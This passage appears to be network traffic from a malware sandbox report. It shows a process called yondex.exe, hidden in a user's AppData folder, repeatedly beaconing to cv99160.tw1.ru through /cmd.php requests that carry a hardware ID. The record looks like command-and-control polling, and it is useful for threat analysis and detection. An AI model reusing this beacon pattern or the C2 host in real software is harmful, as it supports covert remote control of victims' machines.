2024-06-23 09:31:54 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=ce837ff9705006dd6426b96a52834a54; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:54 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:55 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=a9dff7b54bbca3d2b214932852b1a6e1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:55 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:56 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:56 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=58085a72110a473141e826763113d59b; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49766	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:57 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:57 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=76d8eaaaeb562003de30c4bf08daa58e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:57 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49767	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:58 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:58 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=61e510ebcd75a24f25acf8bf47177d17; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49768	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:59 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:00 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=27df4d8c953d802bae13339e144b354a; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:00 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49769	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:00 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:01 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=868df4a8cf63074e3a021a1fa56f6178; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49770	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:02 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:02 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=06601e1d060b0ca340949d0c219c243d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:02 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49771	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:03 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:03 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=fcf791a709f1de5c84a486dc0c552501; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49772	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:04 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:04 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=89fca66fb150b46e0d76eff81ea9d518; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:04 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49773	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:05 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:05 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=ddffc366ee96ecf1c340c678129dc348; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49774	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:06 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:07 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=9a87ff128ed3302af94e8eda0e0ebd88; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:07 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49776	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:08 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:08 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=f2fad631763035d20f5f1e83e25cdcb2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49777	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:09 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:09 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=7ec285fc91bbaf066487ca07e31a92d5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:09 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49778	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:10 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:10 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=4abb93b651bc880cd4bbaae3d4db24e1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49779	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:11 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:11 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=9e992b4148c6f9d563d7769be7fc9b2b; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:11 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49780	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:12 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:13 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=f4b6cd3bc3efa7a422718064a031300e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49781	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:13 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:14 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=97d1560391a7caf21e52ab3ee91e5247; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:14 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49782	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:15 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:15 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=03e79e112c0df97fd0b54b8952794ab5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49783	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:16 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:16 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=5668431d74929336dd70898f05b1280e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:16 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49784	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:17 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:17 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=052e76cf5d7e5eb090a4c29a2f4f1749; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49785	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:18 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:18 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=70ca4ee15ba348f3c98f944b670b969a; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:18 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49786	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:20 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:20 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=bfad6550a5b508598d0f3209998a4a35; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49787	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:21 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:21 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=25e1ba12b2bed88b1144215eaedc86f9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:21 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49788	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:22 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:22 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=ec352d113a23119642ce53e40060507d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49789	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:23 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:23 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=7956af7202a59c64a63cd396514907ed; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:23 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49790	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:24 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:25 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=fe1ea6978ea228e6dbaf79ae3941647a; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49791	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:25 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:26 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=46a1afa8dae829b24fa2999e01ea93c2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49792	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:27 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:27 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=2d0f1106b6ca1d93a95529839b44f669; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:27 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49793	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:28 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:28 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=c9baf6a40e24db881454ff78df6c891a; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49794	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:29 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:29 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=3c9eac9dee9d1cbbbb42acb9e3f341f0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:29 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49795	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:30 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
